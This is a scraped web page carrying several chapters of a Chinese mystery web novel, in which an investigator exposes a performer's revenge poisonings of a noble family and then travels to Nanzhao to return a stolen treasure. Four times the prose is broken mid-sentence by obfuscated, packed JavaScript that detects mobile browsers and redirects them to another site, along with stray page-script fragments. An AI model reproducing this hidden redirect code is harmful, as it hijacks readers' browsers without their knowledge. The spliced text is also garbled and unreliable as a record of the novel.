“得让少使换人来,我这脖子都要断了!” “少使才是最辛苦,好多事情都需要核对证据以及受害人……” “二位大人。” 一个江湖人打扮的青年走了过来。 他蒙着面,气喘吁吁。 关风和问道:“来告状的?” “是……”那人的声音在面罩的遮挡下有些模糊,“十一年前我经过此地时,认识的一位朋友全家都被平南侯府害死。他姓乔,叫做乔林,住在城西,是个木匠。” “等等!”卫川在状纸里翻找,“刚刚也有个人说过这事儿!” 青年浑身一颤:“还有人记得?” “嗯……”卫川动作一顿,拿出一张纸,“嗯,是一个酒楼的掌柜……咦?他说的时间怎么和你说的不一样?” “他说的什么时候?” “十年前。” “哦,那也没错。”青年解释道,“当时正要过年我上门去给乔大哥送礼,正碰见乔大哥抱着女儿到处找大夫。我问他发生了什么他也不说,没过几天,大概是二十五的时候,我再去找他,他家里已经人去楼空。我调查了许久,只查到他女儿是从平南侯府抬出来的。” “他家里人?” “应该是都死了。我找了很多年,都没有找到。” 卫川将他的话一一添加上去。 “此事我们已经知晓,后续会详细调查,若是找到乔家人的尸骨,我们会妥善安葬。侠士慢走。” “侠士?”青年低下头看了一眼自己的衣裳,拱手道,“鄙人先告辞了。” 急着把这些状子都交给李希言,二人也没再多话,拿着状纸转身回了侯府。 原本已经走远的青年停下脚步,扯下遮住口鼻的面罩,露出一张年轻的脸庞。 “尸体,哪里还有尸体。” 冬风打着圈儿吹着,他一个人站在空空的道路上,似一块墓碑孤独的立着。 看着眼前一厚叠状纸,邓松云涨红了脸。 “这侯府……” 到底顾及坐在一旁的容朗,他艰难吞下后面的话。 真是够畜生啊! 李希言没有看状纸,只对着邓松云说道:“邓刺史,可否帮在下一个忙?” “是这些案子吗?”邓松云实在是臊得慌,“这本就是我的职责。李少使,您放心,这些案子我一定一个个查过去。虽然现在平南侯一家几乎灭门,但是我也一定会给他们一个公道。” “不是这个忙。在下是想请您帮我把这些案子中涉及到的人命案单独挑出来,然后把受害者以及其家人的情况全部给我。” “您要这个做什么?” “不需要太详细,有个大致的名字年龄什么的就行了。” 还不需要太详细? 邓松云愈发不解。 “李少使要这东西做什么?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14450028|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李希言不说话了。 “邓刺史,这东西要得急。劳烦您别浪费时间。” 容朗忽然发话,邓松云哪里还不明白。 他只能拿好状纸,站起身对着李希言说道:“那这结果……我两日后给你?” 两日的时间,应该足够了。 李希言起身送他:“劳烦了。” 邓松云摆摆手:“别说这话了,老头子实在是惭愧。” 送走了邓松云,容朗才开口问道:“姐姐,你要那些东西做什么?这些事情本来就该他们县衙管,你何必去揽过来?” “凶手不是曲见山。” “什么?!”容朗眼眸都变圆了,“不是他?” “你自己先想想。那晚在台上变戏法的人真的是曲见山吗?” 见容朗还是一脸懵,李希言提醒道:“那棵树有多粗?曲见山能塞得进去?” “可这也不能代表他没有嫌疑啊,小钉子不是说纸蝴蝶都是曲见山自己做的吗?” “若是戏班里还有其他人能够变出那些戏法,那这些道具到底是谁做的,就说不定了。” 容朗一下明白了她的意思:“曲见山对几个徒弟并不好,很有可能就是他的徒弟……” “而且你别忘了小钉子那日也在台上。” “他还那么小。” “曲见山有好几个徒弟,先不说确定是谁。还有其他疑点。老夫人和丁氏的死。她们二人总不可能还像许尚安兄弟一般还去喝什么壮阳的药酒吧?那么一点点阳石加上淫羊藿足够致死吗?” “是啊……许尚安兄弟是常年饮用含有大量淫羊藿的药酒再加上阳石和酒激发药性才有可能致死。” “不仅仅是她们的死。还有一个特殊的存在。” “谁?” “幸存的许清嘉。” “对啊,还有她!她也喝了那些酒怎么会没事?” “毒死他们的绝非是那些酒。”李希言越想越觉得思路清晰,甚至不自觉勾起一个笑,“他们应该死于一种毒药,那种毒药应该是他们在宴会后服下的,而许清嘉因为躲了起来恰好错过了时间,没有吃下毒药。而凶手焚尸的目的就是怕我们验出来他们死于毒药,而不是他用来做迷障的淫羊藿与阳石。” “宴会后?可是我们早就查过他们死前所吃过的东西,都没有毒啊。” “如果是他们偷偷吃下的呢?” 不欲让他人知晓的药丸? 容朗忽然联想到了一样东西。 “宝藏?” “若我没有猜错,凶手应该是把毒药放入宝藏中,伪做是什么灵丹妙药骗取平南侯等人服下。按照那些女子的交代,许宇定然是和家中不合,所以他没有吃下那颗药。而被嫁出去的许清燕也没有被凶手算在内,许清嘉因为不想被家中安排恰巧躲过一劫。” “那许宇的死?” “凶手去找了他,想要亲自动手,但是尚存良知的许宇因为愧疚,自尽了,并且为了混淆视听,还故意用左手持剑自刎。” 李希言推开窗户,窗外的晚霞是绮丽的紫色,散发着灰败的黄光。 他们那日是在戏班的院子外说到要剖验的话题,而凶手当晚就动了手,说明凶手就在戏班之中。 “我更好奇,凶手的目的是什么?是和宝藏有关,还是和仇恨有关?” 容朗也无法回答这个问题。 李希言对着外面吩咐:“传话下去,两日后,我们就离开。” 92. 相见恨晚 两日后。 李希言拿到了邓松云的回复。 她一一看过,挑出一张。 城西乔家。乔林时年三十岁,其妻潘氏二十九岁,长子乔长安年十二。其幼女乔长欢年十一,于泰平五年被许尚安所杀。其父乔林向时任交州刺史状告后无果反被平南侯许霖得知。泰平五年腊月十五,许霖派出刺客杀害乔林以及其妻其子,尸体被抛至城外久安山下。 “今年该二十三了。” 李希言喟叹一声走出房门。 天色尚早,鸟儿还在枝头脆生生地叫着着。 她循着记忆中的路线,走到戏班居住的院子门口。 院子里的声音很琐碎,应该是在搬动箱子。 李希言没有敲门,直接推开门走了进去。 正忙得热火朝天的人们一下停下了手里的动作,看了过来。 “李少使?” 一见她来,小钉子直接冲了过来。 “李少使,我师父他……” “你们准备离开?” “嗯,今天就走。”小钉子再次问道,“师父呢?” “他已经醒了,等会儿你们就带他一起离开吧。” 小钉子瞪圆了眼,不敢相信自己的耳朵。 “李少使,你这是……” 旁边戏班的老人反应了过来,连忙扯着小钉子行礼。 “多谢李少使宽宏。” “不是宽宏。”李希言顿了顿,扶住了小钉子,“锯子呢?” “师兄?”小钉子有些莫名,却还是老实回答道,“师兄在里屋收拾道具呢。” 一旁的贾秀走上前:“鄙人带李少使去看看吧?” “好。” 李希言跟着他往里面走。 贾秀似有所觉,走到无人处,忽然开口. “李少使,您认为复仇有错吗?” “不牵扯无辜,没错。” 贾秀愣了一下:“没想到您会这样说。” “律法不能完全判断一件事情的对错。” “那您会绕过没有伤害到无辜者的复仇者吗?” “前提是他真的没有伤害到无辜者。” 贾秀没有听懂李希言语中真正的深意,他停下脚步,突然转过头,清秀的眉眼中满是恨意。 “他们哪里无辜?那个老夫人手上不知道沾染了多少人命!许家其他人又有哪一个不是躺在这些人命堆成的财富上逍遥自在?” 有些话是不能对外人说的。 李希言只问道:“紫葳的身体可好些了?” 贾秀脸上的戾气瞬间消失,嘴角不自觉翘起。 “她很好。多亏了王爷的药,现在胎象平稳。” 李希言点点头,不再多问。 拐过一个弯,贾秀就在一个房间门口停下了脚步。 他退后几步,拱手道:“鄙人先告辞了。” 有些事情,他不能多沾手,他现在是有妻儿的人。 对方的识趣正中下怀。 李希言摆了摆手,转身敲了一下门。 里屋的回应来得很快。 “李少使,请进。” 这声音听上去很年轻,语调却没有任何波动,很是违和。 李希言推门而入。 青年坐在屋子的正中间,面前放了一口箱子。 “见过李少使。”他拱手弯下腰,行了一礼。 李希言走到他的对面坐下。 青年直起身:“我本名乔长安,取自‘长治久安’一词。” 李希言的目光不由投向了那个被锁住的箱子。 乔长安将手放在箱子上。 “我是在交州出生长大的。那个时候,陛下才刚刚登基,南诏还归顺于吐蕃,时常会来边境骚扰。先父先母生前一直期盼着交州能够安定,大晋能够长治久安,所以才给我取了这个名字。” “这是个好名字,他们的愿望如今也实现了。” “可是他们的另外一个愿望却再也实现不了。” 乔长欢…… 这个寄托了父母期盼的名字。 而名字主人的欢乐就在她十一岁那年戛然而止。 “腊月二十四的早上,欢欢穿了新衣说是要去买过年戴的新头绳。这一片都是熟人,我们也没多管。然而一直到了晚上她还没有回来。我们一直找啊找,到了第二日的晚上,一辆马车送回了欢欢。” 乔长安表情空忙忙的,嘴巴微微张着,双手在空中虚空比划着。 “那是一辆很好的马车,车身的木材用的是上好的花梨木,木制坚韧,油性十足,这样的木材历来都是贡品,只有皇家和权贵才能拥有。” “是谁救了你?” 乔长安放下双手,露出一个算得上的狡猾的笑。 “恩人。” “他的医术应该很好。” “是的。不然他怎么能救活从悬崖上跌下去的我呢?” “他救命的本事和他杀人的本事一样厉害。”李希言叩了两下桌子,“平南侯家死掉的孩子们,还有五年前暴毙的平南侯夫人以及许佑的未婚妻。她们的死才是真正的不留痕迹。” “没错,杀他们很简单,每一次变戏法的时候动点手脚就行了,恩人的药都很有用,不需要服下,吸入就能让她们流产或者是毙命。” “相较于这次而言,她们中的药更高明。怎么?这次,是你私自行动?” 乔长安爽快承认:“恩人说要让您来料理平南侯,所以没有给我毒药,毒药是我自己买的。” “难怪你冒着风险毁尸灭迹,是害怕我们找出毒药顺着线索查出你的身份?” “是。没办法,我不相信任何人。”乔长安摊开手,“尤其是官员,请李少使理解我。” “你是怎么哄骗他们吃下毒药的?” 乔长安得意地拍了拍手下的箱子:“宝藏啊,我告诉他们那药是延年益寿的仙药,他们就信了。” “那许清燕呢?是你教尹茹变戏法下的毒。” 乔长安没有直接回答。 “李少使猜一猜,那毒是什么时候下的?” “变戏法靠的不过是手法和道具。手法再好也会留下痕迹,我猜是那坛子老早就被下了毒。” “没错。”乔长安拍了拍袖口,手中凭空出现一个酒坛,“这才是那一坛西域美酒。” “那尹茹的那一坛酒呢?” “看戏法。”乔长安把酒坛放到桌边,长袖一拂,酒坛顿时变成了两个,“莫要太过深究。” “杀他们是因为仇恨,那曲见山呢?你为何要陷害他?” “不为什么。”乔长安眯着眼睛,“小师妹死后,曲见山可是春风得意啊。” 李希言明白,有那样遭遇的他,是接受不了曲见山忍气吞声的行为。 “不过有一点,许宇不是我杀的。”似乎是因为回忆了太多,乔长安像是力竭了一般,撑着头,“当时是他将我妹妹送回来的,我不会杀他。那晚,我只砍了他几剑,免得他惹上嫌疑,谁知道他会自尽……” 他的声音越来越小。 李希言心头一跳。 “李少使。”乔长安撑着身体,抬起头,苍白着脸冲着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14459140|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她笑道,“我和你相见恨晚啊……为什么你就不能早点来呢……” “你服毒了?!”李希言一把捏住他的手腕。 “不说这些。”乔长安颤着手从怀里摸出一把精巧的钥匙,塞入箱子的锁里。 锁响了两下就开了。 箱子被打开,里面放着一个足足有人头那么大的一颗白珠子。 珠子材质不明,却散发着淡淡的光辉。 “这是我从南诏带回来的,他们的国宝……崇圣寺千寻塔塔尖的珠子……” 他说完这些话已经没有了力气,软软地侧趴在桌子边上。 “我不想再看见打仗了……南诏的王很厉害,真的……挑起战事,就是赢也是惨胜,我想和我爹娘还有欢欢……” 乔长安的声音逐渐消失。 他缓缓闭上了眼,嘴巴又动了两下,不知道想要说什么。 一阵风通过窗户吹过,带走了他最后的气息。 手下的温度一点点变得冰凉,李希言松开手,关上了箱子。 瑞王摸着盒子里的珠子,面色不定。 “李夫子,那些人偷南诏的国宝到底是想做什么?” 李希言靠在门边:“按照乔长安的话,应该是为了挑起战争。” “可是国宝又不是阿爹让人偷的?” “你傻呀!”容朗敲了敲他的脑袋,“只要这东西在国都出现,那就势必会让南诏心生不满。” “这些乱党到底想干嘛?挑起战争,搞乱大晋?” 李希言觉得背后之人没那么简单。 “我看他是想逼着陛下对南诏动兵。” 南诏本就有背叛的前科,若是再生矛盾,依照皇帝的性格怕不是会来个“先下手为强”。 “对南诏用兵没那么简单。”瑞王稚嫩的脸上透出一分老成,“?南诏多瘴气,若无防备之法还未攻过去就会损兵折将。而且南诏士兵战斗力不弱,若要攻打他们,可不能依靠这边的驻军,必须调取西北东北的精兵来对付,而北边的精兵可适应不了这里湿热的气候。况且,还有一个吐蕃……” 他越说越觉得气愤:“这些乱党怎么想的?就算是要造反,也不该不顾大晋的存亡。” “当务之急是先要归还国宝。”李希言揉了揉酸胀的太阳穴,“其余的,只能看看绣衣司那边有没有什么消息。” 瑞王现在乖巧了不少:“那我马上回去收拾东西,我们尽快启程。” “少使。”门口传来苗青的声音,“戏班的那个小孩儿求见。” “哪个孩子?”瑞王伸长了脖子。 “老实点儿。”容朗按住他的肩膀,“你今天课业写完了吗?又管闲事儿?” 自己小叔叔怎么现在比这个女阎罗还要让人讨厌! “我知道了!”瑞王气哼哼地跑了出去。 苗青这才把小钉子带进去。 小钉子已经换了一身素净衣裳。 “你找我有什么事?”李希言语气温和了不少。 小钉子攥着衣角:“师父说要带着我们进京。” “京城很繁华,是个好地方。” 小钉子点点头:“师兄把戏法都教给了我,不出三年,我应该就能全部学会。到时候……到时候……”他一脸期盼的抬眼看着二人,“等二位大人成亲,我给你们表演。” 容朗飞快接话,生怕这话掉在地上粘了灰:“好啊!我等着那一天。” 刚回过神的李希言毫不掩饰地瞪了他一眼。 胡说什么! 容朗耸耸肩。 这不是不能打击小孩儿嘛~ 93. 苍山之上 因为突现的“宝藏”,一行人立即改变了计划,第二日天还未亮就踏上了去南诏的路程。 李希言坐在屋内,正对着几个箱子发愁。 国礼是明面上的东西,带过去并不难,只是这颗珠子…… “李少使给我开开门呀~”容朗拍着门。 李希言头都没抬:“进来,门没锁。” “我顺道把早饭给你带过来了。”容朗放下手里的食盒,端出两碗粥和一盘包子并几碟小菜。 刚刚还空空如也的桌面一下被摆满。 肉馅儿的包子很香,带着一股葱的清香味,李希言转过身,拿起筷子夹起一个包子咬了一口。 郁结的心情一下好了一点。 容朗一直瞄着她,急忙给她夹了一筷子腌萝卜。 “你尝尝这个,酸甜的,是你你最爱吃的味儿。” 李希言轻轻“嗯”了一声,就着粥吃了下去。 酸甜脆爽。 她吐出一口浊气,心里轻松了不少。 “是在交州买的腌萝卜吗?” “是呢,我让张锦去买的,这边咸菜做得有意思,还有什么酸芋苗,酸白菜……” 二人有一搭没一搭的说着话。 碗里的粥见了底,李希言才放下筷子。 容朗此时才开口询问。 “刚刚你盯着这些箱子做什么?是有什么烦心的?” “珠子。” 容朗明了:“那珠子还是偷偷还回去更好,这种事情一点儿都不能沾染。” “崇圣寺是南诏的国寺,这珠子更是南诏的国宝,就怕他们如今已经为了寻找国宝而加强了进出搜查力度。” “走一步看一步。我们分成两路,一路以使臣身份先进入,若是搜查严密,就拿出宝珠,直言是在贼人手中抢来,特来归还。若是不严密,就让另外一队扮作商人的人悄悄带进去放回原位。” 也只能如此了。 到底算是有个人能和她一起商量着办事,李希言少了几分担心。 “许清嘉你准备怎么安置?” 容朗心中瞬间警铃大作,连背都挺直了不少。 “罪犯家眷,押送回京,和我没关系。” “小心国公爷找你麻烦。” 容朗满不在乎:“有种去找我哥闹,那才叫做有骨气。” 从始至终,他话里话外对自己这个亲外祖父都没有什么热乎劲儿。 李希言不由提醒道:“到底是你外祖父。” “我不管!”容朗甩甩手,“我在世的亲人就只有四个。” 这是只算了皇帝一家四口? 李希言不再多言。 “贾秀那日的话说的对。许家人都是趴在那些尸体上逍遥快活的,更何况,许清嘉和其他许家人区别也不大。” 不然,那日,她也不会对着受害人的亲生父亲说出那样的话。 “不是一家人不进一家门,这每日耳濡目染的,不想变坏都难。许宇还算人品端正也不过是因为被父母忽略,和他们少有接触才没受影响。” “你。”李希言望着对方浅浅的瞳孔,那双眼似乎很容易看到底,“看人看事太透。” 笃,笃…… 敲门声带着一点犹豫。 “有事?” “少使,南诏附近的据点传了消息过来。”苗青的声音带着明显的忧虑,“不太好的消息。” 李希言下意识扶住额头,皱起眉:“进来说吧。” 她有一种很不好的预感。 苗青快步走进来,还没来得及站定就说道:“安插在南诏内部的据点全部失联。从半月前起,南诏就封锁了起来,如今进出把守非常严密。” “如此……”李希言的猜想得到了印证,“到达边境后,先将国礼暂存在附近据点,我们扮作商队进入。” “是。” “至于那珠子……” “属下去找个合适的身份?” “好。” 几日后。 李希言躺在床上翻来覆去。 她歪头看了一眼窗户,窗户外已经隐隐约约有白光。 也不必再睡了。 她拿起挂着的朱红色常服穿好,走到窗前推开窗户。 窗外,湍急的江水翻滚着细白的浪花,微微泛白的天空中,破云的身影一掠而过。 不远处,山脉高大连绵,顶上闪着几点银光。 因为天色还未大亮,远远看去,只看得见苍山的影,黑灰色的,罩在人的头顶上。 咚咚。 两声鼓响后,船只的速度慢慢降了下来。 该进城了。 南诏,太和城。 天色刚亮,城门口就来了一长列商队。 “你们……”守城的卫兵拿着路引上上下下打量着面前的商队。 是常和他们南诏做生意的陈家,只是怎么这次来的人都这么有派头? 为首的男女,一个顶一个的高不说,举手投足的气度……啧! 还有后面跟着的几人也不像是普通人。 “送药材?” 李希言对答如流:“上个月初十,姚大人来的信。货要得太急,家里能做事儿的人都恰好不在,叔叔只能让我和阿弟亲自走一趟了。” “原来如此。” 扮作仆人的苗青弓着腰上前,悄悄塞了一个沉甸甸的荷包给守卫。 “劳烦各位了。” 守卫掂了掂荷包的重量,面露犹豫。 “查了就放行。” 李希言侧开身,一脸坦然:“辛苦了。” 她这样爽快,守卫也少了几分疑心,又想着收了好处,就草草开了箱子看了几眼就摆了摆手。 “走吧走吧。” 一行人成功混进了南诏。 做戏要做全套,一行人就像真的是送货的商队一样一进城就直接奔向了目的地——姚府。 南诏确实别具一格。 两边房屋的屋顶和大晋的相似,飞檐串角,只是材质大多是石头和砖瓦,颜色素净,看上去古朴大气。 门窗部分还是用的木材制成,木雕功夫不弱于中原的能工巧匠,色彩亮丽,倒是很符合南诏人的喜好。 只是…… 李希言压低了声音:“路上人太少了。” 她说的没错。 明明是清早大家都会出门的时刻,南诏国都的大街上却只有稀稀拉拉几个人。 容朗也察觉了异常:“南诏的星回节就在十二月十六……” 星回节是南诏人的新年,还差半个月就要过年,怎么会没有人出门? 李希言侧过头,望了一眼近处的苍山。 山巅之上是积年不化的雪,山腰处绕着几片薄薄的白云,在山麓之处,矗立着三座八角形的深琥珀色砖塔,最中间的就是千寻塔,足足有十六层高,塔尖空落落的。 李希言叹了口气。 等会儿该怎么把东西还回去…… 该死的! 订购药材的姚大人是如今南诏两大家族之一的姚家的家主。 他居住的宅邸距离城门不远,不到半个时辰就到了。 李希言按照惯例,带着人在小门停下,敲了敲门。 门很快被打开,开门的是个中年男子,穿着缎子做的的长衫。 “你们是陈家的?” 他眼里带着戒备和怀疑。 李希言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14466688|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸出陈家的令牌,将准备好的说词又说了一次。 管事接过令牌看了一眼:“我先验验货。” “应当的。”李希言转头示意手下把箱子主动打开。 一股药香扑面而来。 管事眼中少了几分戒备,挑起几颗药材看了看。 “唔……”他摸着胡子,“陈家的药材还是一如既往的好。” 李希言客气道:“给姚大人的药自然是最好的。” 管事满意点点头,掏出一叠银票递给她:“一共一千两,你点一点。” 李希言接过直接揣好,把货单给了他:“陈家和贵府打了这么多年交道,怎么会不放心呢。” “爽快。”管事明显在急着什么,寒暄了两句就打法走了一行人。 李希言没有多问一个字,如同寻常商人一般,当即就告辞了。 一远离姚家,容朗就问道:“刚刚怎么不在他那里打探消息?” “没用。你看他的样子,不点货就不说了,陈家和他们合作这么多年,都不请人进去喝口茶,明显是防备得紧。” “姚盛年是南诏重臣,举足轻重的人物,若是南诏有什么变故,绝对和他也有关系,也不怪姚家如此防备。” “先去崇圣寺附近住下,今晚还珠子。” 这个破珠子就是个烫手山芋,一日在手里一日不安稳! “不是……”卫川探头,“你说咱们能找到客栈吗?” 李希言向前一指:“就去那儿。” 那是个很大的客栈,牌子上写着汇通客栈。 大门敞开着,里面坐着客人,伙计也还在门口揽客。 在安静的街头显得有几分独特。 李希言走进门。 伙计们立即迎了上来:“各位客人是从大晋来的?打尖还是住店?” “住店。”李希言问道,“听说崇圣寺很灵验?” 伙计脸上热情的笑凝固了一下:“这几日崇圣寺不接待客人。” “真不巧。那这附近可还有其他可以求平安符的寺庙?” 见她没有追问,伙计表情轻松了几分。 “崇圣寺西边走四五里路,还有个小庙宇,叫法真寺,那儿求平安符也好,解签也好,都很灵验。而且啊,风景还美。” “先住个两日。”李希言大方给给了一袋银子,“帮我们把马喂好,还赶着回家过年呢。” “好勒!” 是夜,李希言带着容朗提着箱子悄悄去了崇圣寺。 伙计所言的崇圣寺不接待客人一定和丢失珠子一事有关。 只要到了那里,把珠子放下,其他的就和大晋无关了。 情况和她预想的一样。 崇圣寺内有重兵把守。 二人躲在隐蔽处。 李希言仔细观察了巡逻的士兵。 “从山上走。” 崇圣寺背靠苍山,从山面绕过去就能躲开卫兵。 二人立即改道,绕开寺庙上了山。 因为月光照耀着,苍山山脚的密林里还不算可怕。 二人不急不慢地穿行着。 忽然。 一声异动在耳边响起。 嚓嚓—— 是人的脚步声! 李希言立即抽刀朝着声音传来处掠去。 那人距离他们不远,不过瞬息,她就截住了那人的去路。 长刀架在那人的脖子上。 李希言才定睛一看。 面前之人是个十五六岁的小和尚,穿着一身破破烂烂的僧袍,面黄肌瘦,五官清秀,瘫坐在地上,一双大眼睛惶恐地看着她。 “不要杀我……” 怎么是个和尚? 94. 危机感 李希言手有些发软,但还是把刀架在那和尚的脖子上。 随后赶到的容朗粗着声音开口:“你是什么人?” “我……”那小和尚哭的可怜极了,“我是崇圣寺的和尚。” “谎言。”容朗戳穿了他,“崇圣寺的和尚会穿的这么破?” “我……” 李希言将刀一抖,寒光刺眼。 “别别别!你们是大晋人吧!你们不能杀我!”那和尚急得语无伦次。 容朗觉得好笑:“大晋人就不能杀你了?” 那和尚抹了一把眼泪,用力挺直腰:“我……我是南诏的三王子,蒙望书!” 二人眼皮一跳,对视一眼。 南诏三王子确实叫这个名儿! 容朗这才借着月光细细打量起了那和尚的脸…… 还真有些像蒙忠义! “你说你是三王子,有何证据?” 见二人态度松动且少了杀气,那和尚立即拿出一枚玉佩:“这是我们南诏皇室的东西,是大晋的皇帝赏赐的。” 容朗一把拿过,看了一眼。 黄玉…… 这肯定是哥哥赏的。 容朗心思一转,抱着箱子的手动了动。 “确实是宫里的东西。” 他扯下面罩。 “长乐王,容朗。” 李希言没想到他直接坦白了身份,心里疑惑了一瞬,可余光扫到的箱子提醒了她。 三王子都成了这样,南诏如今定然出了大乱子,又不可能真杀了这个小王子,这珠子的事情……瞒不住了。 她也扯下面罩朝着蒙望书拱手道:“绣衣司少使李希言,见过三王子。” 刚刚受了惊吓的蒙望书无措地看着二人。 怎么会是大晋皇帝的弟弟和亲信? 他觉得有些害怕,退后了一步。 容朗假作不知对方的态度,大大方方地说道:“我和李少使在贼人手里截获了南诏国宝。本想直接来归还,却不料贵国似乎有些异常,就先潜了进来。小王子莫要见怪。” “国宝?!”蒙望书一听见这两个字一下忘记了害怕,朝着箱子冲了过来,“是不是无量珠!” 容朗笑着打开箱子:“确实。” 蒙望书是个情绪外露之人,一脸喜色,宝贝似的摸着珠子:“你们在哪里找到的!” 李希言半真半假地回答道:“例行搜查船只时,在一个戏班那里截获的,盗贼很是强硬,自尽了,没有问出其他消息。” 蒙望书追问:“是不是个变戏法的戏班?” 见他眼里没有丝毫怀疑,李希言如实道:“正是。” 蒙望书一脸愤愤:“我就知道是姚家自导自演的好戏!” 李希言顺着问道:“小王子,南诏到底出了什么事?可是和这珠子有关?” “什么事……”蒙望书抿着嘴唇,“姚家人,反了。” 虽然早有猜测,但是亲耳听到还是忍不住心惊。 “王爷。”蒙望书对容朗的态度很亲近,几乎握着他的双手,“您帮帮我。” 容朗也装出一副和善的模样。 “令尊对大晋忠心耿耿,若是南诏王室有危,大晋绝不会袖手旁观。” 蒙望书一脸感动。 “这事情还要从这宝珠说起……两个月前,父王来崇圣寺上香后第二日,宝珠就消失了。民间流言四起,说是父王失德,宝珠被雨铜观音收了回去。父王大怒,为了寻回宝珠亲自派人找寻。终于,在半月前,找到了一条线索——宝珠疑似被姚家请来表演戏法的戏班偷盗走了。然而,还不等父王发难,他就忽然病重,国事由大哥处理。我本来一直在佛寺修行,对这些一无所知。直到出事后,父王的心腹找到我护送我逃走,才知道这些。那个心腹告诉我,是姚家软禁了父亲,大哥和二哥也不知生死。” 如今他一人孤身在此,想必那心腹也被杀了。 “章丞相呢?” “丞相也不知道内情。”蒙望书有些气闷,“父王向来看中姚家,姚家这次动作很快,夫子怕不是根本就没收到消息。” 容朗宽慰道:“章丞相老于世故,令尊病重不见,他未必没有察觉什么。你先和我们回去,等找到机会,我们带你去见章丞相再做商议,可好?” 这个提议正是蒙望书心中所想。 他感激地点点头:“多谢二位了。” 这珠子还真成送不出去的烫手山芋了。 李希言思虑了一二,开口道:“看来,那贼人应该是和姚家勾结才偷盗了宝珠。” 蒙望书抱着宝珠不撒手:“肯定是的!他们就是姚家请来的!” “如此……”李希言主动把箱子递给他,“宝珠也算是物归原主,只是……我还有个法子可以整治姚家……” “什么办法?”蒙望书好奇地看着她。 “以其人之道还治其人之身。”李希言嘴角勾起,“姚家既然以宝珠消失一事来污蔑云南王的名声,那我们干脆就把这层布扯开,让世人都知道是他们盗窃走了宝珠。” 蒙望书一下来了兴趣:“这倒是个好办法!让他们扯着观音的旗子干坏事。” “小王子不必动怒。”李希言看着他面黄肌瘦的脸,不由有些触动。 这张脸……和记忆中的那个人有些许的重复。 愈是这样想,她语气愈是温柔。 “先和我们回客栈安顿吧。” 蒙望书摸了摸瘪瘪的肚子,不好意思地笑了笑:“我确实有点饿了……” 李希言最看不得被人饿着,尤其是对方还让她想起了小和尚。 “食色性也,王爷不必觉得害羞,下官也没吃饭,不如一起?” “好……”蒙望书腼腆一笑,“李少使和话本里一样好呢……” 站在一旁的容朗眯了眯眼,他心里感到了危机。 三人回到客栈,直接回了容朗的房间。 容朗去厨房拿了一食盒吃食立即回了房。 不能让他们单独相处! “小王子。”他挤出一个笑,“你今晚委屈委屈,和我睡一个屋。” 蒙望书心思单纯,眼神直往食盒上打转:“没事的没事的……” 容朗把吃食都摆上,顺势贴着李希言坐下。 “快吃吧,小王子。” 蒙望书本就不是拘礼之人,直接拿起筷子就开吃。 这大口大口的…… 是真饿着了。 李希言把手边的茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14473445|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盏往前推了推。 “慢点……” 容朗藏在袖子里的手紧紧捏成了拳头。 他现在是明白了,姐姐是把这个破王子当作替身了! 正牌货就在眼前!看这个西贝货做什么! 灼灼的目光让李希言有所察觉,她抬起头,正瞧见容朗鼓着脸盯着她。 没来由地的心虚让李希言口不择言:“你也饿了?” 容朗笑得狰狞:“不饿,姐姐你呢?” 李希言摇头。 头疼都来不及。 “姐姐?”蒙望书艰难咽下一口饭,“你怎么叫她姐姐啊?是大晋的皇帝陛下准备认她做义妹吗?” 容朗脸皮再厚也尴尬了一下。 “小王子慢慢吃。”他把红烧肉往前推了推,热情招呼着,“多吃点。” 少说话! 蒙望书哪里对付得了他,只觉得这长乐王人真好! 时间已经不早了,李希言站起身:“我先回房了,明早小王子换身衣服就和我们去章家吧。” 蒙望书忙不迭地点头,却实在放不下筷子。 天可怜见的,他已经半个月没吃顿正经饭了! 容朗立即跟着出去。 “你跟上来做什么?”李希言不好在走廊和他掰扯,一把将他拽进屋内。 容朗靠在门上:“我就是觉得这个小子没看上去那么简单。” 李希言满不在乎:“所以呢?” “王室里就没有单纯的,除非脑子有问题……”容朗叉腰。 李希言却忽然低着头笑了一下。 “你笑什么?”容朗一下卡了壳。 “王爷自己呢?”李希言玩味一笑。 容朗挥了挥袖子:“那……那不一样!” 